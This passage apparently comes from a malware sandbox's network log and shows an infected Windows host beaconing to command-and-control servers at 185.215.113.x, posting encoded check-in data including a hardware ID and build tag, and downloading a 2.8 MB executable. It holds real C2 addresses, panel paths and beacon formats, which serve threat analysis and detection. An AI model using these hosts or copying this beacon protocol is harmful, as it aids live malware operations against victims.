Nov 16, 2024 19:23:24.265197039 CET	1236	IN	Data Raw: b1 f3 16 d8 31 97 53 e4 98 b6 98 2e dc 9a 54 ef 21 18 50 22 9b ea 42 7c d1 26 45 c5 c8 d7 5b 8a 9f f9 37 92 c0 9f 4c ce 8f 28 46 1a 9d 2f 52 68 78 82 4b 87 3a 24 5f 3e 1c 2e 59 a8 b9 02 9e c6 a5 c0 53 77 c1 e0 ed d8 e0 f3 a5 33 9b 50 4f 2f 84 3f Data Ascii: 1S.T!P"B\|&E[7L(F/RhxK:$_>.YSw3PO/?v".E>%X(GR sd ~( T=#n\68 ,j3^ "X\|U~<=`N1)HB,/F\fVN!S
Nov 16, 2024 19:23:24.270217896 CET	1236	IN	Data Raw: de c5 c3 4a 65 2b b5 e9 a3 d6 ba ef a9 eb 96 34 ce a6 ce ca e9 c6 9a b8 ae c4 8a 9e fb 43 d2 40 56 eb 97 fa 3c c3 bb 59 b8 c0 db 07 5c 54 45 88 c7 70 57 ea f0 08 98 12 8d 92 44 60 ac 6b 89 bc 7c 97 90 c5 42 ea 97 6b c7 bb 17 08 6b 63 8a ee 57 ea Data Ascii: Je+4C@V<Y\TEpWD`k\|BkkcWO~>>?GEaqw0#6Vp&:cIJ7lB9CmF"^:e[@f:dE3Kg2}DYFKSg_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50150	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:32.471564054 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 37 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006726001&unit=246122658369
Nov 16, 2024 19:23:33.375009060 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50152	185.215.113.16	80	8940	C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:33.252371073 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 16, 2024 19:23:34.148989916 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:34 GMT Content-Type: application/octet-stream Content-Length: 2818048 Last-Modified: Sat, 16 Nov 2024 17:57:21 GMT Connection: keep-alive ETag: "6738dd01-2b0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +v+`Ui` @ @.rsrc`2@.idata 8@qfsyagsd*:@lgpdogkk @+@.taggant@`+"*@
Nov 16, 2024 19:23:34.149043083 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:34.149080038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:34.149113894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:34.149147034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:34.149179935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:34.149211884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:34.149264097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:34.149297953 CET	1236	IN	Data Raw: 03 c4 4a e4 d9 cc 68 89 b2 af c0 76 4e bc 57 8f 9e 58 4a 91 0e 43 30 3a 3c 24 1f 50 f1 6b 4f 05 d3 22 b9 2d c6 6f fa 24 43 e9 9f 6b 80 17 e7 28 c0 e0 59 68 31 98 9f 7b 06 0b 57 2e c8 23 4b e4 d9 45 a0 6f 42 66 79 f1 dd 0d 0a 57 3e ff be 17 59 ac Data Ascii: JhvNWXJC0:<$PkO"-o$Ck(Yh1{W.#KEoBfyW>YY=>>[JXLAR/oy#7<4t-z65) JIHU?(Q4/P9y_S(RJ8.~]%_RsKw[)D
Nov 16, 2024 19:23:34.149336100 CET	1236	IN	Data Raw: 22 9b 50 59 85 f6 10 29 55 fd b2 95 a1 d2 58 4e a9 a5 41 15 98 fc 5c 35 b0 fd 52 15 0d c2 41 31 80 c1 48 c1 bf de cb 5e d3 bd 8d 2f 40 53 5e b6 41 56 10 e5 8a 75 4d 5e d9 7e f9 9c d0 3e a7 5e 0b 31 98 38 84 1f 4c 2b 2c 2e 5d a9 c3 c0 5a 20 16 3c Data Ascii: "PY)UXNA\5RA1H^/@S^AVuM^~>^18L+,.]Z <'vR/JrV@@:nK" :w]')Q&S}Ek3 5:"5@1`<BM2UYrZym
Nov 16, 2024 19:23:34.154345989 CET	1236	IN	Data Raw: b2 8d 88 25 ce 5e 49 6f 3c 56 b8 82 ec 65 50 88 b1 16 1c f2 36 8b 39 26 bd fa 46 43 79 9b 24 2c 4c ef 5e 15 2d 9d 0d 22 89 94 aa 7d e7 c8 42 2f 7a 47 dd a8 e4 45 4f e1 8e 67 81 15 a1 b3 60 5e 61 fc 73 4c e4 85 bf 56 0c e7 23 f8 e3 ae e0 6b 41 e5 Data Ascii: %^Io<VeP69&FCy$,L^-"}B/zGEOg`^asLV#kAP!maq.R"\4sjSJZVA_<F"lJGV(^T]CDM]A-Z-\QB6~6fh?i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50154	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:35.031411886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:23:35.928483963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50156	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:37.447830915 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:23:38.356054068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50157	185.215.113.206	80	7544	C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:38.538681984 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 19:23:39.431149960 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:23:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:23:39.433614016 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 37 39 33 35 37 33 30 46 41 30 32 37 34 30 37 32 35 36 30 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="hwid"FD7935730FA02740725608------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="build"mars------IIJJDGHJKKJEBFHJDBGH--
Nov 16, 2024 19:23:39.716510057 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:23:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50159	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:40.024882078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:23:40.934931993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50161	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:42.449971914 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:23:43.351736069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50162	185.215.113.16	80	6284	C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:43.013767958 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 16, 2024 19:23:43.906085014 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:43 GMT Content-Type: application/octet-stream Content-Length: 2818048 Last-Modified: Sat, 16 Nov 2024 17:57:21 GMT Connection: keep-alive ETag: "6738dd01-2b0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 76 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +v+`Ui` @ @.rsrc`2@.idata 8@qfsyagsd*:@lgpdogkk @+@.taggant@`+"*@
Nov 16, 2024 19:23:43.906096935 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:43.906109095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:43.906120062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:43.906128883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:43.906138897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:43.906148911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:43.906162977 CET	1060	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 19:23:43.906176090 CET	1236	IN	Data Raw: c8 22 57 6e 0f 21 ff 42 29 64 43 8b 28 72 9c c8 b2 fd d3 e1 2b 25 4d 2c 9b c5 9f 29 83 54 55 2f ea 9d 4e 37 e9 dd 4e 47 a0 d7 4d cc a4 66 ba 3e 00 de 54 3f 98 c6 db 87 9d cb 59 ce b8 5c 5d d1 2d 2a 52 d5 05 87 54 28 b2 96 52 90 82 a8 f1 c6 2e 43 Data Ascii: "Wn!B)dC(r+%M,)TU/N7NGMf>T?Y\]-RT(R.C6vt]8.IpZcd,fS;$E@SC#]Bu<):.`2+XE'K*G%Q)O\|_=OY`;#B?P1; O#")
Nov 16, 2024 19:23:43.906188011 CET	1236	IN	Data Raw: c6 d7 52 6c 4c 0f d6 b4 67 9e 06 5e 3f 7e d3 f4 83 2b 65 2d e7 ac 5a 38 7b 2b 60 28 cb b5 78 16 a9 d3 5c 48 39 49 80 bc b6 26 1e ef 87 e8 aa a2 84 2b d9 a5 84 9e 82 b8 45 2b 4f 28 34 46 9d 8a 39 2b bb f8 41 2b bf 34 2e 36 32 df 84 ce b8 47 cc f6 Data Ascii: RlLg^?~+e-Z8{+`(x\H9I&+E+O(4F9+A+4.62GD7SN6-V=P+G?.In7f?>J?O+7rzPbH@lU`cSUx5di~@vn%{*U=DMUy
Nov 16, 2024 19:23:43.911492109 CET	1236	IN	Data Raw: c6 96 4a 38 17 e2 14 21 e2 cc ba 9c d7 93 8c 71 9a c7 4a 01 ce d9 51 40 94 8a e1 e4 9a 30 cf 39 2f 34 44 b8 11 b0 88 8d b6 ab 8a 3c ce e0 9c e7 a9 2c bb 8e e6 43 aa eb dd e4 21 f9 2d f2 08 ab e6 c4 45 ef 1b e6 ba 3b e2 b3 0a d5 ba 32 4b 59 b1 3d Data Ascii: J8!qJQ@09/4D<,C!-E;2KY=)<a:.>7.{r0$N&vIH+Q! "q-s?.nI=b"7_\B!O\|R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50168	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:44.997266054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:23:45.899645090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50173	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:47.423034906 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:23:48.363964081 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50184	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:49.991702080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:23:51.261312962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50209	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:23:52.809434891 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
